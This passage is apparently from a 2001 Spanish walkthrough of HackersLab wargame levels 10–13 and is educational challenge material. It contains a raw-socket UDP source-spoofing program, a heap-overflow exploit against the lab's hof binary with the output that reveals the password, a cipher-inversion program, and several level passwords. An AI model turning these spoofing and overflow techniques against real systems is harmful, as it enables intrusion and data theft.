struct hostent *he;
u_char gram[67]=
{ // Cabecera
0x45, 0x00, 0x00, 0x43, // 0x45 -> version=4 (IPv4), longitud de cabecera = 5 (*4=20)
// tipo de servicio = 0x00, longitud total 0x0043 = 67 bytes
0x12, 0x34, 0x00, 0x00, // identificacion= 0x1234 flags=000b offset de fragmento= 00000b
0xFF, 0x11, 0, 0, // tiempo de vida = 0xFF saltos (maximo) protocolo = 0x11 UDP
0, 0, 0, 0, // ip origen 4 bytes
0, 0, 0, 0, // ip destino 4 bytes
// Ahora la cabecera del datagrama
0, 0, 0, 0, // puerto origen 2bytes, puerto destino 2bytes
0x00, 0x2F, 0x00, 0x00, // longitud del mensaje = 0x002F(47 bytes) 2 bytes
// checksum inicialmente a 0x0000 tambien 2 bytes
// Datos a trasmitir (39 bytes-octetos)
'B','e','a','u','t','y',' ','a','n','d',' ','B','e','a','s','t','/',
'r','o','o','t','e','r','i','n','g','@','y','u','p','i','m','a','i','l','.','c','o','m'
};
if(argc!=5)
{
fprintf(stderr,"usar: %s IP_origen puerto_origen IP_destino puerto_destino\n",*argv);
exit(1);
};
if((he=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"imposible resolver ip origen\n");
exit(1);
};
bcopy(*(he->h_addr_list),(gram+12),4); // introducimos ip origen
if((he=gethostbyname(argv[3]))==NULL)
{
fprintf(stderr,"imposible resolver ip destino\n");
exit(1);
};
bcopy(*(he->h_addr_list),(gram+16),4); // introducimos ip destino
*(u_short*)(gram+20)=htons((u_short)atoi(argv[2])); // puerto origen
*(u_short*)(gram+22)=htons((u_short)atoi(argv[4])); // puerto destino
p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));
// Creamos el socket (paquete)
if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
{
perror("fallo socket");
exit(1);
};
#ifdef IP_HDRINCL
fprintf(stderr,"Tienes IP_HDRINCL :-)\n\n");
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
{
perror("fallo setsockopt IP_HDRINCL");
exit(1);
};
#else
fprintf(stderr,"No tienes IP_HDRINCL :-(\n\n");
#endif
// Manda realmente el paquete
if((sendto(fd,&gram,sizeof(gram),0,(struct
sockaddr*)p,sizeof(struct sockaddr)))== -1)
{
perror("fallo sendto");
exit(1);
};
printf("datagrama mandado:");
for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
{
if(!(x%4)) putchar('\n');
printf("%02x",gram[x]);
};
putchar('\n');
}
-------------------------- CORTAR POR AQUI --------------------------------
Vamos a ver si nos sirve
el programa una vez compilado se usa de la siguente manera
[level10@drill /tmp]$ ./spoofudp
usar: ./spoofudp IP_origen puerto_origen IP_destino puerto_destino
asi que lo llamaremos de la siguiente forma:
[level10@drill /tmp]$ ./udp www.hackerslab.org 1234 drill.hackerslab.org 5555
socket: Operation not permitted
Desilusion, parece ser que deberia ser root para hacer esto.
Probare ahora a mandarlo desde casa, osea mandando el paquete desde otra
maquina y.......................
Mierda otra vez fallo.
EL problema esta vez es que mi isp filtra los paquetes y no deja de spoofear
los paquetes. Bueno, esta prueba me dio muchos quebraderos de cabeza, pues tuve
que probar desde diferentes isp,s y lo que me extraño es que incluso usando
redestb con el cual despues de unas pruebas con amiguetes no filtraba los
paquetes, me di cuenta que tampoco me servia. Algun problema debia de existir,
tal vez redestb no filtra al mandar paquetes en territorio nacional, pero
cuando salen al exterior tal vez haya algo de por medio que si lo haga.
Estas pruebas las hice porque tb instale un escucha en hackerslab para ver por
el puerto 6666 si me llegaban los paquetes, y tan solo llegaban si usaba como
ip la mia original.
Una cosa que tb me llamo la atencion fue cuando hice pruebas de trazado a
drill.hackerslab.org, la traza era diferente que si trazeaba www.hackerslab.org
el por que no lo se, pero realmente eran la misma maquina, pero mientras que la
traza a www.hackerslab.org daba que desde europa saltaba directamente a SEUL,
osea territorio koreano, la traza a drill.hackerslab.org pasaba antes por dos
servidores americanos, uno en Chicago y otro en Washinton. No me extrañaria
que algun cuerpo de seguridad este mirando las conexiones a ese server para
conocer la identidad de sus conciudadanos, jejejjejeje.
Pues bueno, pase muchos dias intentando esto, pero al final una amiga guiri se
enrollo y ejecuto mi codigo desde una shell root que tenia. Asi que al final lo
pase aunque con un poco de ayuda y logre recibir el tan esperado mail. :)
En fin, que no importan los medios con tal de hacer el proposito.
***************************
* ¿Como hacer el level11? *
***************************
PRUEBA 12
telnet drill.hackerslab.org
login:level11
pass: Permission denied
PRUEBA 12:
Texto Original
You can find the /usr/local/bin/passwd.fail file by running the
/usr/local/bin/hof program. However, we want the /usr/local/bin/passwd.success
file which includes the password for the next level. Go get it!HINT: Use the
`heap` area.
Texto Traducido:
Usted puede encontrar el fichero / usr/local/bin/passwd.fail ejecutando
programa /usr/local/bin/hof. Sin embargo, deseamos el fichero
/usr/local/bin/passwd.success que incluye la palabra de paso para el nivel
siguiente. Vaya consiguen it!HINT: Utilice el área del `heap`.
Esta claro que aqui estamos hablando de un bufferoverflow de nuevo, pero en
este caso en vez del stack tendremos que usar el espacio heap.
En esta cuestion tenemos que sacar el contenido del fichero passwd.sucess en el
cual esta la pass al level siguiente. Este programa pide un password y si lo
metes mal te enseña el contenido del fichero passwd.fail, y si lo aciertas te
enseña el contenido de passwd.success. El tema es que el programa no controla
la entrada del pass y puede provocar un overflow. Sobre el tema de overflow
heap no estaba muy al corriente aunque en la ezine vi que hicieron un
comentario al respecto. Como siempre os remito a buscar documentacion y
aprendais algo sobre el tema si es que realmente quereis conocerlo mas a fondo.
Vamos a utilizar un codigo para petar el programa y asi poder acceder al
fichero en cuestion, en este caso el fichero passwd.success
Este codigo esta sacado de http://www.w00w00.org/articles.html donde
encontraras un articulo sobre el tema bastante currado. En el encontraras
ejemplos de programas vulnerables y sus respectivos exploits.
Yo estube haciendo pruebas y al final use este codigo para explotar el
programa, tan solo tuve que modificarlo un poquitin y hacerle la llamada
probando varios parametros distintos hasta dar con el fichero en cuestion.
-------------------------- CORTAR POR AQUI --------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define BUFSIZE 256
#define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */
#define VULPROG "/usr/local/bin/hof"
#define VULFILE "/usr/local/bin/passwd.success" /* the file 'buf' will
be stored in */
/* get value of sp off the stack (used to calculate argv[1] address) */
u_long getesp()
{
__asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
}
int main(int argc, char **argv)
{
u_long addr;
register int i;
int mainbufsize;
char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";
if (argc <= 1)
{
fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
exit(1);
}
memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");
memset(buf + strlen(buf), 'A', DIFF);
addr = getesp() + atoi(argv[1]);
/* reverse byte order (on a little endian system) */
for (i = 0; i < sizeof(u_long); i++)
buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;
mainbuf = (char *)malloc(mainbufsize);
memset(mainbuf, 0, sizeof(mainbuf));
snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
buf, VULPROG, VULFILE);
printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",
addr, VULFILE);
system(mainbuf);
return 0;
}
-------------------------- CORTAR POR AQUI --------------------------------
Bueno, despues de unas pruebas:
[level11@drill ...]$ ./exp 355
Overflowing tmpaddr to point to 0xbffffebb, check /usr/local/bin/passwd.success after.
level11's Password :
view_file = r/local/bin/passwd.success
error opening r/local/bin/passwd.success: No such file or directory
[level11@drill ...]$ ./exp 354
Overflowing tmpaddr to point to 0xbffffeba, check /usr/local/bin/passwd.success after.
level11's Password :
view_file = sr/local/bin/passwd.success
error opening sr/local/bin/passwd.success: No such file or directory
[level11@drill ...]$ ./exp 353
Overflowing tmpaddr to point to 0xbffffeb9, check /usr/local/bin/passwd.success after.
level11's Password :
view_file = usr/local/bin/passwd.success
error opening usr/local/bin/passwd.success: No such file or directory
[level11@drill ...]$ ./exp 352
Overflowing tmpaddr to point to 0xbffffeb8, check /usr/local/bin/passwd.success after.
level11's Password :
view_file = /usr/local/bin/passwd.success
Æнº¿öµå : I want to love forever
BINGOOOOOOOOOOOOOOOOOO, aqui tenemos el password, jejeje
***************************
* ¿Como hacer el level12? *
***************************
PRUEBA 13
telnet drill.hackerslab.org
login:level12
pass: I want to love forever
Texto Original:
Here's the problem for you to solve. Your idol, Jungwoo could capture the
communication contents by a sniffer while the administrators of HackersLab were
logging in level 13. He thought that he could get the password easily with this
but they were communicating secretly by using their own algorithm with the
encrypted password `tu|tSI/Z^`. While he was searching the system, he found a
tool in /usr/bin/encrypt which they used for coding. Now, this is what you
have to do. You can analyze the encryption algorithm by using the tool. Then,
break the encryption for the password.
Texto Traducido:
Aqui esta el problema para que usted solucione. Su idolo, Jungwoo podria
capturar el contenido de la comunicacion por un succionador mientras que los
administradores de HackersLab entraban llano 13. El penso que el podria
conseguir la palabra de paso facilmente con esto pero se comunicaran
secretamente usando su propio algoritmo con la palabra de paso cifrada
`tu|tSI/Z^`. Mientras que el buscaba el sistema, el encontró en
/usr/bin/encrypt de la herramienta que ellos utilizaron para la codificacion.
Ahora, esto es lo que usted tiene que hacer. Usted puede analizar el algoritmo
del cifrado usando la herramienta. Entonces, rompa el cifrado para la palabra
de paso.
Esta claro que hay que ver que diantres hace el programa encrypt para sacar la
palabra de paso la palabra de paso una vez vista siendo tu|tSI/Z^ vemos que es
de 9 digitos
Primero vamos a encryptar 1111 para ver como de complicada es la rutina
1 pass: 1112
2 pass: 1233
3 pass: 3456
4 pass: 3456
5 pass: 4564
6 pass: 6467
7 pass: 7979
8 pass: 7979
9 pass: 9798
10 pass: 98;9
11 pass: 9<;>
12 pass: 9<;>
13 pass: <;>:
14 pass: >:>=
Hice otras pruebas y vi que realmente el algoritmo cambia, osea que la formula
la aplica segun el largo de su cadena, en este caso, la ejecuta total-2,y como
nuestro codigo es de 9 digitos y las modificaciones se hacen de 7 en 7 lineas
probemos como lo encripta.
0 pass: 111111111
1 pass: 11111111 2
2 pass: 1111112 33
3 pass: 111233 444
4 pass: 33444 5556
5 pass: 5556 88999
6 pass: 999 ;;;<>>
7 pass: >> @@@BBBC
8 pass: C FFHHHJJJ
9 pass: CFFHHHJJJ
Hasta aqui se sigue utilizando el mismo metodo, veamos si cambia la forma y
cuando. Al final vemos que el algoritmo se repite y que la formula es la
siguiente aplicada en un total de 393 lineas, de las cuales realmente se les
aplica la formula en un total de:
393 / 9 = 43,66666....
8 * 43 = 344
393 - 344 - 43 = 6
Tan solo hacia unos calculos eh? jejejje
Viendo esto y sabiendo que realmente de cada 9 pasos dos se repiten podemos
deducir que la formula se aplica 43 * 8 + 6 osea un total de 350 veces en
nuestro caso. Ahora tan solo queda ver que cual es la formula que aplica y
hacer una inversa.
<Ripe: Seguro que ya has dejado al lector atontado
con tanta matematica xD>
Una vez visto vemos que hace lo siguiente:
va incrementando el numero de caracteres desplazados, osea primero 1 despues 2,
asi hasta 8, osea numero total de digitos - 1. En el bucle va insertando el
numero del bucle, primero un 1, despues dos 2, tres 3 asi hasta ocho 8, pero a
cada insersion se le suma el caracter que sale disparao por le lado izquierdo,
osea el acarreo. :))
0 pass: 111111111
1 pass: 11111111 2 = 1 + el 1 desplazado
2 pass: 1111112 33 = 2 + 1 y 2 + 1
3 pass: 111233 444 = 3 + 1 y 3 + 1 y 3 + 1
4 pass: 33444 5556 = 4 + 1 y 4 + 1 y 4 + 1 y 4 + 2
5 pass: 5556 88999 = 5 + 3 y 5 + 3 y 5 + 4 y 5 + 4 y 5 + 4
6 pass: 999 ;;;<>>
7 pass: >> @@@BBBC
8 pass: C FFHHHJJJ
9 pass: CFFHHHJJJ
Ya hemos visto el proceso primero harice un programa que haciera lo mismo que
hacia el original asi no tendremos problemas de saber si realmente estamos en
el cierto.
Pues na, hice un codigo llamado cripto.c el cual llego a emular perfectamente
el programa original, una vez hecho esto, cambie el codigo para invertir el
proceso y esto quedo.
Ah recuerdo que copiar y pegar no quedaria adecuado si al menos no lo habeis
intentado eh? Asi que intentar hacerlos vosotros y codear un rato. A mi me
sirvio de mucho y ademas me senti realmente bien cuando vi que rulaba. :))))
-------------------------- CORTAR POR AQUI --------------------------------
// DESENCIPTA.C by Jafar 2001
#include <stdio.h>
int a;
int b;
int c;
unsigned char cadena[9]={'t','u','|','t','S','I','/','Z','^'};
unsigned char paso[9] ={'0','0','0','0','0','0','0','0','0'};
int imprime(void)
{
// Visualizacion de la cadena resultante
printf("Cadena resultante: ");
for(c=0;c<(sizeof(cadena));c++)
{
printf("%c",cadena[c]);
};
printf("\n");
}
int main()
{
// Primero desencriptamos las ultimas 6 operaciones
// Operaciones 6 casilla
if( cadena[8] - 6 >= 32) {paso[5] = cadena[8] - 6;} else {paso[5] = cadena[8] - 6 + 93;}
if( cadena[7] - 6 >= 32) {paso[4] = cadena[7] - 6;} else {paso[4] = cadena[7] - 6 + 93;}
if( cadena[6] - 6 >= 32) {paso[3] = cadena[6] - 6;} else {paso[3] = cadena[6] - 6 + 93;}
if( cadena[5] - 6 >= 32) {paso[2] = cadena[5] - 6;} else {paso[2] = cadena[5] - 6 + 93;}
if( cadena[4] - 6 >= 32) {paso[1] = cadena[4] - 6;} else {paso[1] = cadena[4] - 6 + 93;}
if( cadena[3] - 6 >= 32) {paso[0] = cadena[3] - 6;} else {paso[0] = cadena[3] - 6 + 93;}
paso[8] = cadena[2];
paso[7] = cadena[1];
paso[6] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 5 casilla
if( cadena[8] - 5 >= 32) {paso[4] = cadena[8] - 5;} else {paso[4] = cadena[8] - 5 +93;}
if( cadena[7] - 5 >= 32) {paso[3] = cadena[7] - 5;} else {paso[3] = cadena[7] - 5 +93;}
if( cadena[6] - 5 >= 32) {paso[2] = cadena[6] - 5;} else {paso[2] = cadena[6] - 5 +93;}
if( cadena[5] - 5 >= 32) {paso[1] = cadena[5] - 5;} else {paso[1] = cadena[5] - 5 +93;}
if( cadena[4] - 5 >= 32) {paso[0] = cadena[4] - 5;} else {paso[0] = cadena[4] - 5 +93;}
paso[8] = cadena[3];
paso[7] = cadena[2];
paso[6] = cadena[1];
paso[5] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 4 casilla
if( cadena[8] - 4 >= 0) {paso[3] = cadena[8] - 4;} else {paso[3] = cadena[8] - 4 +93;}
if( cadena[7] - 4 >= 0) {paso[2] = cadena[7] - 4;} else {paso[2] = cadena[7] - 4 +93;}
if( cadena[6] - 4 >= 0) {paso[1] = cadena[6] - 4;} else {paso[1] = cadena[6] - 4 +93;}
if( cadena[5] - 4 >= 0) {paso[0] = cadena[5] - 4;} else {paso[0] = cadena[5] - 4 +93;}
paso[8] = cadena[4];
paso[7] = cadena[3];
paso[6] = cadena[2];
paso[5] = cadena[1];
paso[4] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 3 casilla
if( cadena[8] - 3 >= 0) {paso[2] = cadena[8] - 3;} else {paso[2] = cadena[8] - 3 +93;}
if( cadena[7] - 3 >= 0) {paso[1] = cadena[7] - 3;} else {paso[1] = cadena[7] - 3 +93;}
if( cadena[6] - 3 >= 0) {paso[0] = cadena[6] - 3;} else {paso[0] = cadena[6] - 3 +93;}
paso[8] = cadena[5];
paso[7] = cadena[4];
paso[6] = cadena[3];
paso[5] = cadena[2];
paso[4] = cadena[1];
paso[3] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 2 casilla
if( cadena[8] - 2 >= 0) {paso[1] = cadena[8] - 2;} else {paso[1] = cadena[8] - 2 +93;}
if( cadena[7] - 2 >= 0) {paso[0] = cadena[7] - 2;} else {paso[0] = cadena[7] - 2 +93;}
paso[8] = cadena[6];
paso[7] = cadena[5];
paso[6] = cadena[4];
paso[5] = cadena[3];
paso[4] = cadena[2];
paso[3] = cadena[1];
paso[2] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 1 casilla
if( cadena[8] - 1 >= 0) {paso[0] = cadena[8] - 1;} else {paso[0] = cadena[8] - 1 +93;}
paso[8] = cadena[7];
paso[7] = cadena[6];
paso[6] = cadena[5];
paso[5] = cadena[4];
paso[4] = cadena[3];
paso[3] = cadena[2];
paso[2] = cadena[1];
paso[1] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Bucle de operaciones
for (a=0; a<43; a++)
{
// Operaciones 8 casilla
if( cadena[8] - 8 >= 32) {paso[7] = cadena[8] - 8;} else {paso[7] = cadena[8] - 8 + 93;}
if( cadena[7] - 8 >= 32) {paso[6] = cadena[7] - 8;} else {paso[6] = cadena[7] - 8 + 93;}
if( cadena[6] - 8 >= 32) {paso[5] = cadena[6] - 8;} else {paso[5] = cadena[6] - 8 + 93;}
if( cadena[5] - 8 >= 32) {paso[4] = cadena[5] - 8;} else {paso[4] = cadena[5] - 8 + 93;}
if( cadena[4] - 8 >= 32) {paso[3] = cadena[4] - 8;} else {paso[3] = cadena[4] - 8 + 93;}
if( cadena[3] - 8 >= 32) {paso[2] = cadena[3] - 8;} else {paso[2] = cadena[3] - 8 + 93;}
if( cadena[2] - 8 >= 32) {paso[1] = cadena[2] - 8;} else {paso[1] = cadena[2] - 8 + 93;}
if( cadena[1] - 8 >= 32) {paso[0] = cadena[1] - 8;} else {paso[0] = cadena[1] - 8 + 93;}
paso[8] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 7 casilla
if( cadena[8] - 7 >= 32) {paso[6] = cadena[8] - 7;} else {paso[6] = cadena[8] - 7 + 93;}
if( cadena[7] - 7 >= 32) {paso[5] = cadena[7] - 7;} else {paso[5] = cadena[7] - 7 + 93;}
if( cadena[6] - 7 >= 32) {paso[4] = cadena[6] - 7;} else {paso[4] = cadena[6] - 7 + 93;}
if( cadena[5] - 7 >= 32) {paso[3] = cadena[5] - 7;} else {paso[3] = cadena[5] - 7 + 93;}
if( cadena[4] - 7 >= 32) {paso[2] = cadena[4] - 7;} else {paso[2] = cadena[4] - 7 + 93;}
if( cadena[3] - 7 >= 32) {paso[1] = cadena[3] - 7;} else {paso[1] = cadena[3] - 7 + 93;}
if( cadena[2] - 7 >= 32) {paso[0] = cadena[2] - 7;} else {paso[0] = cadena[2] - 7 + 93;}
paso[8] = cadena[1];
paso[7] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 6 casilla
if( cadena[8] - 6 >= 32) {paso[5] = cadena[8] - 6;} else {paso[5] = cadena[8] - 6 + 93;}
if( cadena[7] - 6 >= 32) {paso[4] = cadena[7] - 6;} else {paso[4] = cadena[7] - 6 + 93;}
if( cadena[6] - 6 >= 32) {paso[3] = cadena[6] - 6;} else {paso[3] = cadena[6] - 6 + 93;}
if( cadena[5] - 6 >= 32) {paso[2] = cadena[5] - 6;} else {paso[2] = cadena[5] - 6 + 93;}
if( cadena[4] - 6 >= 32) {paso[1] = cadena[4] - 6;} else {paso[1] = cadena[4] - 6 + 93;}
if( cadena[3] - 6 >= 32) {paso[0] = cadena[3] - 6;} else {paso[0] = cadena[3] - 6 + 93;}
paso[8] = cadena[2];
paso[7] = cadena[1];
paso[6] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 5 casilla
if( cadena[8] - 5 >= 32) {paso[4] = cadena[8] - 5;} else {paso[4] = cadena[8] - 5 +93;}
if( cadena[7] - 5 >= 32) {paso[3] = cadena[7] - 5;} else {paso[3] = cadena[7] - 5 +93;}
if( cadena[6] - 5 >= 32) {paso[2] = cadena[6] - 5;} else {paso[2] = cadena[6] - 5 +93;}
if( cadena[5] - 5 >= 32) {paso[1] = cadena[5] - 5;} else {paso[1] = cadena[5] - 5 +93;}
if( cadena[4] - 5 >= 32) {paso[0] = cadena[4] - 5;} else {paso[0] = cadena[4] - 5 +93;}
paso[8] = cadena[3];
paso[7] = cadena[2];
paso[6] = cadena[1];
paso[5] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 4 casilla
if( cadena[8] - 4 >= 0) {paso[3] = cadena[8] - 4;} else {paso[3] = cadena[8] - 4 +93;}
if( cadena[7] - 4 >= 0) {paso[2] = cadena[7] - 4;} else {paso[2] = cadena[7] - 4 +93;}
if( cadena[6] - 4 >= 0) {paso[1] = cadena[6] - 4;} else {paso[1] = cadena[6] - 4 +93;}
if( cadena[5] - 4 >= 0) {paso[0] = cadena[5] - 4;} else {paso[0] = cadena[5] - 4 +93;}
paso[8] = cadena[4];
paso[7] = cadena[3];
paso[6] = cadena[2];
paso[5] = cadena[1];
paso[4] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 3 casilla
if( cadena[8] - 3 >= 0) {paso[2] = cadena[8] - 3;} else {paso[2] = cadena[8] - 3 +93;}
if( cadena[7] - 3 >= 0) {paso[1] = cadena[7] - 3;} else {paso[1] = cadena[7] - 3 +93;}
if( cadena[6] - 3 >= 0) {paso[0] = cadena[6] - 3;} else {paso[0] = cadena[6] - 3 +93;}
paso[8] = cadena[5];
paso[7] = cadena[4];
paso[6] = cadena[3];
paso[5] = cadena[2];
paso[4] = cadena[1];
paso[3] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 2 casilla
if( cadena[8] - 2 >= 0) {paso[1] = cadena[8] - 2;} else {paso[1] = cadena[8] - 2 +93;}
if( cadena[7] - 2 >= 0) {paso[0] = cadena[7] - 2;} else {paso[0] = cadena[7] - 2 +93;}
paso[8] = cadena[6];
paso[7] = cadena[5];
paso[6] = cadena[4];
paso[5] = cadena[3];
paso[4] = cadena[2];
paso[3] = cadena[1];
paso[2] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
// Operaciones 1 casilla
if( cadena[8] - 1 >= 0) {paso[0] = cadena[8] - 1;} else {paso[0] = cadena[8] - 1 +93;}
paso[8] = cadena[7];
paso[7] = cadena[6];
paso[6] = cadena[5];
paso[5] = cadena[4];
paso[4] = cadena[3];
paso[3] = cadena[2];
paso[2] = cadena[1];
paso[1] = cadena[0];
//Transferimos el resultado
for (b=0;b<9;b++)
{
cadena[b]=paso[b];
}
// Visualizacion de la cadena resultante
imprime();
} // Fin del bucle para 43 repeticiones
}
-------------------------- CORTAR POR AQUI --------------------------------
Se que el codigo es algo bruto pero lo hice asi por controlarlo mejor, y los
bucles eran jodidamente jodios, jejjejee.
una vez ejecutado esto fueron las ultimas lineas del resultado.
Cadena resultante: :vlhos9:A
Cadena resultante: jn45<:vlh
Cadena resultante: 6rhdjn45<
Cadena resultante: 1296rhdjn
Cadena resultante: hl1296rhd
Cadena resultante: chl1296rh
Y ahi tenemos la dichosa pass, jodia pero correcta.
***************************
* ¿Como hacer el level13? *
***************************
PRUEBA 14
telnet drill.hackerslab.org
login:level13
pass: chl1296rh
Texto Original:
Summary of problem:
Write a TCP/IP networking program. In order to solve the problem, it is
essential that your program is generated by the server. After you receive a
query and get a solution, send it back to the server program so that it can be
transmitted to the client program. Solve the quiz three times. In this case,
the protocol for communication between the two parties is given in the file
of¡°protocol.h¡±. <http://www.hackerslab.org/eorg/fhz/proto.h> Then, if the
query and reply exactly match each other 3 times, then you can get the password
for the next level.
Quiz Explanation:
The problem is to write a program that computes the distance, defined as the
number of cells in a shortest path, between any pair of cells. For example, two
maggots in cells 19 and 30 are 5 cells apart. One of the shortest paths
connecting the two cells via the cells 19 ? 7 ? 6 ? 5 ? 15 ? 30, so you must
move five times to adjacent cells to get from 19 to 30.
You will receive points (query a and query b). Then you have to calculate the
distance between the two points. After, send the distance back to the server.
Repeat this procedure 3 times. When you successfully complete this task and
all 3 answers are correct, then you will get the password for the next level.
(The input consists of several lines, each containing two integers a and b (a,b
¡Ì 10000), denoting numbers of cells )
Texto Traducido:
Resumen del problema: Escriba un programa del establecimiento de una red del
TCP/IP. Para solucionar el problema, es esencial que su programa es generado
por el servidor. Despues de que usted reciba una interrogacion y consiga una
solución, enviela de nuevo al programa del servidor para poderlo transmitir al
programa del cliente. Solucione el concurso tres veces. En este caso, el
protocolo para la comunicación entre los dos partidos se da en el fichero
of¡°protocol.h¡±. Entonces, si la interrogación y contesta exactamente el
emparejamiento 3 veces, despues usted puede conseguir la palabra de paso para
el nivel siguiente.
Explicación Del Concurso: El problema es escribir un programa que compute la
distancia, definido como el número de celulas en un camino mas corto, entre
cualquier par de células. Por ejemplo, dos gusanos en las celulas 19 y 30 son 5
celulas aparte. Uno de los caminos mas cortos que conectan las dos celulas via
las celulas 19? 7? 6? 5? 15? 30, asi que usted deben mover cinco veces a las
celulas adyacentes de conseguir a partir del 19 a 30.
Usted recibira puntas (pregunte a y la interrogacion b). entonces usted tiene
que calcular la distancia entre las dos puntas. Despues de, envie la distancia
de nuevo al servidor. Relance este procedimiento 3 veces.
Cuando usted termina con exito esta tarea y las 3 respuestas estan correctas,
despues usted conseguira la palabra de paso para el nivel siguiente.
(la entrada de informacion consiste en varias lineas, cada dos numeros enteros
de a que contienen y b (a,b ¡2I 10000), denotando numeros de celulas)
Aqui el fichero proto.h comentado en perfecto koreano. jejejjee
Es el protocolo a seguir en las conexiones y las estruturas usadas.
/**************************************************
* proto.h *
* *
* author: jwseo *
* *
* ÄûÁî üĿ¿Í Ŭ¶óÀ̾ðÆ®°£ÀÇ Åë½Å ±Ô¾à *
* *
* º» Çì´õÆÄÀÏÀº quiz_checker ÀÇ ±¸Çö°ú *
* ÄûÁî Ç®À̸¦ À§ÇØ ÀÌ¿ëÀÚ¿¡°Ô Á¦°øµÇ¾îÁø´Ù. *
**************************************************/
#define SERVER_PORT 100 /* ¼¹öÀÇ Æ÷Æ® ¹øÈ£ */
#define QUERY_CHALLENGE 0
#define QUERY_CORRECT 1
#define QUERY_INCORRECT 2
/* ÄûÁîüĿ°¡ À¯Àú°¡ ¸¸µç Ŭ¶óÀ̾ðÆ®¿°Ô º¸³»´Â challenge */
struct query_type {
int flag; /* 0-challenge, 1-correct, 2-wrong */
int query_a; /* ¼¿ ¹øÈ£ a */
int query_b; /* ¼¿ ¹øÈ£ b */
char next_pass[30]; /* flag °¡ 1ÀÎ °æ¿ì¸¸ ä¿öÁø´Ù */
};
typedef struct query_type t_query;
/* À¯Àú°¡ ¸¸µç Ŭ¶óÀ̾ðÆ®°¡ ÄûÁîüĿ¿¡°Ô ÀÀ´äÇÏ´Â answer */
struct reply_type {
char current_pass[30]; /* Àü ´Ü°è ·¹º§ÀÇ Æнº¿öµå¸¦ ¸»ÇÑ´Ù. */
int answer; /* ÄûÁî Ç®ÀÌ ´ä (a¿Í bÀÇ °Å¸®)*/
};
typedef struct reply_type t_reply;
<Ripe: a¿Í bÀÇ ¡ ÄûÁîüĿ¿¡°Ô 1ÀÎ ÇÏ´>
Ahora a ver si nos entendemos. :))
En principio crearemos un programa de tales dimensiones, debe tener conexion
via socket usando como medio de transporte las estructuras que estos koreanos
nos dan. Y a la vez debe de calcular las distancias entre casillas tirando por
el camino mas corto. Espero que al menos hayais mirado la web donde salen
dibujitos sobre el tema de las casillas, como van creandose y los pasos a
seguir para comunicarse. Despues de 4 dias intensivos, he conseguido hacer la
funcion que calcula las distancias y el mecanismo de conexion con
drill.hackerslab.org por el puerto 100. El programa en si me llevo varios dias,
el motivo es porque era dificil dar en el clavo usando una funcion matematica.
Como yo no soy matematico pedi ayuda a unos conocidos matematicos y hasta el
dia de hoy no he recibido contestacion, jejejjejeje.
Pues como yo soy algo cabezota, estube probando infinidad de ideas las cuales
se acercaban pero no llegaban a funcionar cuando metia numeros de dimensiones
grandes.
Al final inniyah (una amiga de irc) me dio una idea la cual lleve a su prueba.
La idea consistia en cortar con lineas horizontales y verticales todas las
casillas, de forma de poder ver las lineas horizontales y verticales que
existian entre las casillas. Asi que hice una funcion que sumaba y restaba
coordenadas al movimiento de mi bucle, de forma que durante el bucle yo partia
desde el centro y a medida que iba dando vueltas fui guardando datos donde me
daba al final, la capa en la que estaba el numero y su desplazamiento, osea la
casilla enque terminaba.
Cuando consegui eso, pues aplique otra nueva tecnica la cual partiendo desde 0
tambien me daria las coordenadas x e y de cada numero respecto al centro.
Despues tan solo me quedaba restar las distancias entre ambas coordenadas y
meter las 3 diferentes posibilidades que podian darse dependiendo si x1 era
menor de x2 y vicebersa.
He aqui el listado de mi querido codigo.
-------------------------- CORTAR POR AQUI --------------------------------
/*********************************************************************************/
/* cliente.c */
/* Envio y recibo de mensajes con calculo de distancias, para hackerslab level13 */
/* By Jafar 2001 */
